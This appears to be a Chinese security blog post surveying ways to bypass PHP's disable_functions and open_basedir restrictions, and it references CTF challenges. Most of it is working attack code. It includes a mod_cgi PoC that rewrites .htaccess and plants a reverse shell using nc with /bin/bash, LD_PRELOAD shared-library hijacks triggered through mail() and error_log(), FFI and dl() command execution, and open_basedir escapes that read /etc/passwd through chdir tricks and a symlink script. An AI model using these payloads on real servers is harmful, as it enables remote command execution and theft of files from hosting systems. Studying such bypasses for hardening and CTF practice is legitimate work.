0x 01 前言
常见的有四种绕过 disable_functions 的手法:第一种,攻击后端组件,寻找存在命令注入的、web 应用常用的后端组件,如,ImageMagick 的魔图漏洞、bash 的破壳漏洞;第二种,寻找未禁用的漏网函数,常见的执行命令的函数有 system()、exec()、shell_exec()、passthru(),偏僻 popen()、proc_open()、pcntl_exec(),逐一尝试,或许有漏网之鱼;第三种,mod_cgi 模式,尝试修改 .htaccess,调整请求访问路由,绕过 php.ini 中的任何限制;第四种,利用环境变量 LD_PRELOAD 劫持系统函数,让外部程序加载恶意 *.so,达到执行系统命令的效果。
0x 02 黑名单 bypass
众所周知,disable_functions 是基于黑名单来实现对某些函数使用的限制的,既然是黑名单有时候就难免会有漏网之鱼
PHP 中能直接执行系统程序的函数
1 2 3 4 5 6 7 8
| system() shell_exec() exec() passthru() popen() proc_open() pcntl_exec() dl() // 加载自定义 php 扩展
|
PHP 中执行运算符(反引号)的效果和 shell_exec() 是相同的
0x 03 第二种:mod_cgi bypass介绍
关于mode_cgi,可以参考apache的官方说明:http://man.chinaunix.net/newsoft/ApacheManual/mod/mod_cgi.html。
“任何具有mime类型application/x-httpd-cgi或者被 cgi-script处理器(Apache 1.1或以后版本)处理的文件将被作为CGI脚本对待并由服务器运行, 它的输出将被返回给客户端。通过两种途径使文件成为CGI脚本,或者文件具有已由 AddType指令定义的扩展名,或者文件位于 ScriptAlias目录中。”,这就表示,apache允许WEB服务器与可执行文件进行交互。
满足条件:
1 2 3 4
| 1. apache环境 2. mod_cgi已启用 3. htaccess的文件必须被允许,即在httpd.conf中,要注意AllowOverride选项为All 4. 你必须能够写入文件
|
攻击思路:先把要执行的程序写入一个特定扩展名的文件里,然后修改.htaccess文件,通过Options指令允许使用mod_cgi模块执行CGI脚本,然后再让我们特定的扩展名以cgi-script进行处理,这样我们甚至可以反弹一个shell出来。
POC如下,附注释:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| <?php $cmd = "nc -c'/bin/bash' 127.0.0.1 4444"; $shellfile ="#!/bin/bash\n"; $shellfile .="echo -ne \"Content-Type: text/html\\n\\n\"\n"; $shellfile .="$cmd"; functioncheckEnabled($text,$condition,$yes,$no) { echo "$text: " . ($condition ?$yes : $no) . "<br>\n"; } if(!isset($_GET['checked'])) { @file_put_contents('.htaccess',"\nSetEnv HTACCESS on", FILE_APPEND); header('Location: ' . $_SERVER['PHP_SELF']. '?checked=true'); } else { $modcgi = in_array('mod_cgi',apache_get_modules()); $writable = is_writable('.'); $htaccess = !empty($_SERVER['HTACCESS']); checkEnabled("Mod-Cgienabled",$modcgi,"Yes","No"); checkEnabled("Iswritable",$writable,"Yes","No"); checkEnabled("htaccessworking",$htaccess,"Yes","No"); if(!($modcgi && $writable&& $htaccess)) { echo "Error. All of the above mustbe true for the script to work!"; } else { checkEnabled("Backing up.htaccess",copy(".htaccess",".htaccess.bak"),"Suceeded!Saved in .htaccess.bak","Failed!"); checkEnabled("Write .htaccessfile",file_put_contents('.htaccess',"Options +ExecCGI\nAddHandlercgi-script .dizzle"),"Succeeded!","Failed!"); checkEnabled("Write shellfile",file_put_contents('shell.dizzle',$shellfile),"Succeeded!","Failed!"); checkEnabled("Chmod777",chmod("shell.dizzle",0777),"Succeeded!","Failed!"); echo "Executing the script now.Check your listener <img src = 'shell.dizzle' style ='display:none;'>"; } } ?>
|
具体攻击方法可以看这篇文章:https://www.freebuf.com/articles/web/169156.html
0x 04 第四种: LD_PRELOAD bypass介绍
这里需要介绍一个前置知识:
LD_PRELOAD
LD_PRELOAD 是 Linux 下的一个环境变量,动态链接器在载入一个程序所需的所有动态库之前,首先会载入LD_PRELOAD 环境变量所指定的动态库。
从上面可以看出本来LD_PRELOAD的作用是利用我们加载进来的so,去覆盖相同函数名的库函数,去使用自己的函数,更加方便,但是如果自己的函数为恶意函数,就造成了恶意程序注入。
利用 putenv 设置LD_PRELOAD变量,既能绕过open basedir,又能绕过disable functions
putenv可以设置环境变量
1
| putenv ( string $setting ) : bool
|
添加 setting 到服务器环境变量。 环境变量仅存活于当前请求期间。 在请求结束时环境会恢复到初始状态。
如果该函数未被过滤,那么我们可以有如下骚操作:
1.制作一个恶意shared libraries
2.使用putenv设置LD_PRELOAD为恶意文件路径
3.使用某个php函数,触发specific shared library
4.成功进行RCE
对LD_PRELOAD的利用大概可分为两种,第一种是劫持库函数,第二种是劫持启动进程
网上大多数都是劫持的getuid,其实能劫持的并不只getuid,我们需要劫持的函数需要满足,此函数为点:经常被用到的并且为无参数的函数
比如getuid,getpid,getgid,getppid这种,具体的可以fuzz一下,应该蛮多的
具体操作过程(以geteuid的劫持为例)
hack.c
1 2 3 4 5 6 7 8 9 10 11
| #include <stdlib.h> #include <stdio.h> #include <string.h> void payload() { system("whoami > hack"); } int geteuid() { if (getenv("LD_PRELOAD") == NULL) { return 0; } unsetenv("LD_PRELOAD"); payload(); }
|
编译成so文件
1 2
| gcc -c -fPIC hack.c -o hack gcc --share hack -o hack.so
|
写一个hack.php
1 2 3 4 5 6 7 8
| <?php putenv("LD_PRELOAD=./hack.so"); mail("","","","","");//error_log('',1); //imap_mail('a@a',1,1,1,1); //$img = new Imagick('test.wmv'); ?>
//mail()函数执行默认是会调用外部程序sendmail的
|
而既然要在php运行时被触发,那么势必选择一个非常常用的函数才行。这里能调用的函数不止有mail,在mail函数被ban掉的情况下也可以用error_log,imap_mail等,需要注意的是error_log的第二个参数需要设置为1表示发送邮件会调用sendmail进程,imap_mail也可调用sendmail进程,即可调用sendmail子进程,同样利用Imagick函数触发调用了新进程ffmpeg进行处理图像
imap_mail()适用于PHP < 5.6.2
的
使用Imagick函数的时候,MPEG format文件必须存在,否则无法调用ffmpeg
从上面来看,劫持库函数需要找到特定的库函数去劫持,那么劫持新进程是不需要找到特定的库函数的。
GCC 有个 C 语言扩展修饰符 __attribute__((constructor))
,可以让由它修饰的函数在 main() 之前执行,若它出现在共享对象中时,那么一旦共享对象被系统加载,立即将执行 __attribute__((constructor))
修饰的函数。
attribute((constructor))更加直接的去讲:有这个说明:
它是在加载共享库时运行的,通常是在程序启动过程中,也就是当有一个新进程/子进程启动时,那么attribute((constructor))就会被直接加载,我们上面的mail等函数也正好符合这个特性,下面也接着来试一下:
hack.c
1 2 3 4 5 6 7 8 9
| #define _GNU_SOURCE #include <stdlib.h> #include <unistd.h> #include <sys/types.h>
__attribute__ ((__constructor__)) void angel (void){ unsetenv("LD_PRELOAD"); system("ls"); }
|
hack.php
1 2 3
| <?php putenv("LD_PRELOAD=./hack.so"); error_log('',1);
|
0x 05 其他bypass技巧介绍
外部扩展库dl bypass介绍
实现方法参考:https://cloud.tencent.com/developer/article/1141142
版本 |
说明 |
7.0.0 |
PHP-FPM 模式下已禁用 dl()。 |
5.3.9 |
尽管不推荐,但 PHP-FPM 模式下启用了 dl()。 |
5.3.0 |
由于稳定性,dl() 在某些 SAPI 中被禁用。仅仅允许 dl() 的 SAPI 为 CLI 和 Embed。 使用 扩展加载指令 作为替代。 |
SAPI(Server Application Programming Interface)服务器应用程序编程接口,即PHP与其他应用交互的接口,PHP脚本要执行有很多方式,通过Web服务器,或者直接在命令行下,也可以嵌入在其他程序中。
SAPI提供了一个和外部通信的接口,常见的SAPI有:cgi、fast-cgi、cli、apache模块的DLL、isapi
条件:php.ini中需设置enable_dl=true
dl bypass-poc
1
| <?phpdl("dl.so"); //dl.so在extension_dir目录,如不在则用../../来实现调用confirm_dl_compiled("$_GET[a]>;1.txt");?>
|
主要就是dl.so这个文件的搜索,通过调用dl.so进行命令执行。
PHP7.4-FFI bypass介绍
在RCTF2019中出的题,考察了php7.4的新特性,通过新加的FFI即可bypass disable function
参考RCTF2019RCTF 2019 nextphp https://xz.aliyun.com/t/5218
1 2 3 4 5 6 7 8 9
| <?php
$ffi = FFI::cdef( "int system(const char *command);", "libc.so.6");
$ffi->system("id");
?>
|
如果只定义 system 函数而省略 libc.so.6 同样也是可以执行命令的,支持 RTLD_DEFAULT 的平台将尝试在常规全局范围内查找在代码中声明的符号
当我们只能控制 FFI::cdef 函数的 lib 参数的时候,FFI::cdef 函数还可以加载我们自定义的动态链接库,但是需要填写绝对路径,否则会无法加载,比如
ffi.php
1 2 3 4 5 6 7
| <?php
$ffi = FFI::cdef( "int system(const char *command);", "/var/www/html/bad.so");
?>
|
bad.c
1 2 3 4
| #include <stdlib.h> __attribute__((constructor)) void j0k3r(){ system("echo Hacked && id"); }
|
只要加载编译好的 bad.so 即可执行恶意代码
0x 06 常用的bypass链接
some exploits in php7
bypass disable_functions via LD_PRELOAD 利用劫持启动进程+mail()函数实现
https://github.com/l3m0n/Bypass_Disable_functions_Shell
0x 07 Bypass open_basedir
chdir bypass
1 2 3
| 读配置文件cmd=mkdir("/tmp/fuck");chdir('/tmp/fuck/');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(file_get_contents("/etc/passwd")); 列目录cmd=mkdir("/tmp/fuck");chdir('/tmp/fuck/');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(scandir("/")); 读文件md=mkdir("/tmp/fuck");chdir('/tmp/fuck/');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');readfile("/THis_Is_tHe_F14g"));
|
利用symlink()函数来Bypass
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110
| <?php /* * by phithon * From https://www.leavesongs.com * detail: http://cxsecurity.com/issue/WLB-2009110068 */ header('content-type: text/plain'); error_reporting(-1); ini_set('display_errors', TRUE); printf("open_basedir: %s\nphp_version: %s\n", ini_get('open_basedir'), phpversion()); printf("disable_functions: %s\n", ini_get('disable_functions')); $file = str_replace('\\', '/', isset($_REQUEST['file']) ? $_REQUEST['file'] : '/etc/passwd'); $relat_file = getRelativePath(__FILE__, $file); $paths = explode('/', $file); $name = mt_rand() % 999; $exp = getRandStr(); mkdir($name); chdir($name); for($i = 1 ; $i < count($paths) - 1 ; $i++){ mkdir($paths[$i]); chdir($paths[$i]); } mkdir($paths[$i]); for ($i -= 1; $i > 0; $i--) { chdir('..'); } $paths = explode('/', $relat_file); $j = 0; for ($i = 0; $paths[$i] == '..'; $i++) { mkdir($name); chdir($name); $j++; } for ($i = 0; $i <= $j; $i++) { chdir('..'); } $tmp = array_fill(0, $j + 1, $name); symlink(implode('/', $tmp), 'tmplink'); $tmp = array_fill(0, $j, '..'); symlink('tmplink/' . implode('/', $tmp) . $file, $exp); unlink('tmplink'); mkdir('tmplink'); delfile($name); $exp = dirname($_SERVER['SCRIPT_NAME']) . "/{$exp}"; $exp = "http://{$_SERVER['SERVER_NAME']}{$exp}"; echo "\n-----------------content---------------\n\n"; echo file_get_contents($exp); delfile('tmplink');
function getRelativePath($from, $to) { // some compatibility fixes for Windows paths $from = rtrim($from, '\/') . '/'; $from = str_replace('\\', '/', $from); $to = str_replace('\\', '/', $to);
$from = explode('/', $from); $to = explode('/', $to); $relPath = $to;
foreach($from as $depth => $dir) { // find first non-matching dir if($dir === $to[$depth]) { // ignore this directory array_shift($relPath); } else { // get number of remaining dirs to $from $remaining = count($from) - $depth; if($remaining > 1) { // add traversals up to first matching dir $padLength = (count($relPath) + $remaining - 1) * -1; $relPath = array_pad($relPath, $padLength, '..'); break; } else { $relPath[0] = './' . $relPath[0]; } } } return implode('/', $relPath); }
function delfile($deldir){ if (@is_file($deldir)) { @chmod($deldir,0777); return @unlink($deldir); }else if(@is_dir($deldir)){ if(($mydir = @opendir($deldir)) == NULL) return false; while(false !== ($file = @readdir($mydir))) { $name = File_Str($deldir.'/'.$file); if(($file!='.') && ($file!='..')){delfile($name);} } @closedir($mydir); @chmod($deldir,0777); return @rmdir($deldir) ? true : false; } }
function File_Str($string) { return str_replace('//','/',str_replace('\\','/',$string)); }
function getRandStr($length = 6) { $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; $randStr = ''; for ($i = 0; $i < $length; $i++) { $randStr .= substr($chars, mt_rand(0, strlen($chars) - 1), 1); } return $randStr; }
|
更多bypass方法参考:https://www.mi1k7ea.com/2019/07/20/%E6%B5%85%E8%B0%88%E5%87%A0%E7%A7%8DBypass-open-basedir%E7%9A%84%E6%96%B9%E6%B3%95/#%E7%BD%91%E4%B8%8A%E7%9A%84%E4%B8%80%E4%B8%AA%E8%84%9A%E6%9C%AC
参考资料:
https://xz.aliyun.com/t/4688#toc-8
https://www.anquanke.com/post/id/197745#h3-8
https://www.freebuf.com/articles/web/192052.html
https://glotozz.github.io/2020/02/26/%E4%BB%8E%E4%B8%80%E9%81%93%E9%A2%98%E5%AD%A6%E4%B9%A0bypass-disable-func/#%E4%B8%80-dl-%E6%8B%93%E5%B1%95%E5%BA%93%E7%BB%95%E8%BF%87
https://lihuaiqiu.github.io/2019/10/09/Bypass-disabled-functions-open-basedir-php/